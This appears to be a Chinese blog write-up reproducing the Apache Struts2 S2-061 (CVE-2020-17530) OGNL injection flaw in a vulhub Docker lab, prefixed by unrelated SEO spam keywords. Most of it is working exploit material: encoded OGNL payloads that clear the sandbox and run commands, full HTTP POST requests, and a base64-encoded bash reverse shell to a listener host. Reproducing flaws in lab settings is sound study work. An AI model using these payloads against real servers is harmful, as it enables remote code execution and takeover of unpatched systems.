金石文化规划 设计 开发风景区网站建设,郑州手机端网站建设,元器件采购最好的网站,域名到期对网站影响漏洞简介 Struts2框架是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API#xff0c;鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心#xff0c;吸收了Struts框架的部分优点#xff0c;提供了一个更加整洁的MV…漏洞简介 Struts2框架是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心吸收了Struts框架的部分优点提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。
漏洞概述 Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530)在使用某些tag等情况下可能存在OGNL表达式注入漏洞从而造成远程代码执行,可能照成控制服务器等危害。S2-061是对S2-059沙盒进行的绕过
影响范围 Apache Struts 2.0.0-2.5.25
环境搭建
1. 本次漏洞环境使用vulhub中的docker搭建vulhub下载地址
GitHub - vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose
2.下载完成后使用xftp传入安装有docker和环docker-compose境的虚拟机中解压并启动环境
cd vulhub-master/struts2/s2-061
docker-compose up -d
3.使用docker ps查看是否启动成功 如果端口被占用就进入docker-compose.yml修改端口 在浏览器访问目标地址http://your-ip:8080 漏洞复现
在url处使用一下payload验证漏洞是否存在。注需要使用url编码在查看元素查看结果
?id%25%7b%27test%27%2b(11%2b11).toString()%7d 方法一可以看到执行相加这里直接构造payload执行命令放在hackbar上执行
?id%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec%3d%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27id%27}).(%23res%3d%23exec.exec(%23cmd))} 方法二在首页使用burp抓包发送到重放模块并修改成POST传输 经过几次尝试终于成功。
Payload:POST / HTTP/1.1Host: 192.168.0.216:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2Accept-Encoding: gzip, deflateConnection: closeContent-Type: multipart/form-data; boundary----WebKitFormBoundary5DQYTI1HContent-Length: 817------WebKitFormBoundary5DQYTI1HContent-Disposition: form-data; nameid%{(#instancemanager#application[org.apache.tomcat.InstanceManager]).(#stack#attr[com.opensymphony.xwork2.util.ValueStack.ValueStack]).(#bean#instancemanager.newInstance(org.apache.commons.collections.BeanMap)).(#bean.setBean(#stack)).(#context#bean.get(context)).(#bean.setBean(#context)).(#macc#bean.get(memberAccess)).(#bean.setBean(#macc)).(#emptyset#instancemanager.newInstance(java.util.HashSet)).(#bean.put(excludedClasses,#emptyset)).(#bean.put(excludedPackageNames,#emptyset)).(#arglist#instancemanager.newInstance(java.util.ArrayList)).(#arglist.add(whoami)).(#execute#instancemanager.newInstance(freemarker.template.utility.Execute)).(#execute.exec(#arglist))}------WebKitFormBoundary5DQYTI1H-- 反弹shell反弹命令需要使用base64编码
编码地址http://www.jackson-t.ca/runtime-exec-payloads.html
或者用burp工具
bash -i /dev/tcp/192.168.0.216/5563 01 kali机开启监听 构造的payload如下
POST / HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1456------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; nameid%{
(#request.map#application.get(org.apache.tomcat.InstanceManager).newInstance(org.apache.commons.collections.BeanMap)).toString().substring(0,0)
(#request.map.setBean(#request.get(struts.valueStack)) true).toString().substring(0,0)
(#request.map2#application.get(org.apache.tomcat.InstanceManager).newInstance(org.apache.commons.collections.BeanMap)).toString().substring(0,0)
(#request.map2.setBean(#request.get(map).get(context)) true).toString().substring(0,0)
(#request.map3#application.get(org.apache.tomcat.InstanceManager).newInstance(org.apache.commons.collections.BeanMap)).toString().substring(0,0)
(#request.map3.setBean(#request.get(map2).get(memberAccess)) true).toString().substring(0,0)
(#request.get(map3).put(excludedPackageNames,#application.get(org.apache.tomcat.InstanceManager).newInstance(java.util.HashSet)) true).toString().substring(0,0)
(#request.get(map3).put(excludedClasses,#application.get(org.apache.tomcat.InstanceManager).newInstance(java.util.HashSet)) true).toString().substring(0,0)
(#application.get(org.apache.tomcat.InstanceManager).newInstance(freemarker.template.utility.Execute).exec({bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjMuMjIyLzU1NjMgIDAJjE}|{base64,-d}|{bash,-i}}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
漏洞修复建议 建议升级至最新版本
自己根据上课以及网上的一些资料将漏洞复现出来步骤有点简略请各位见谅。
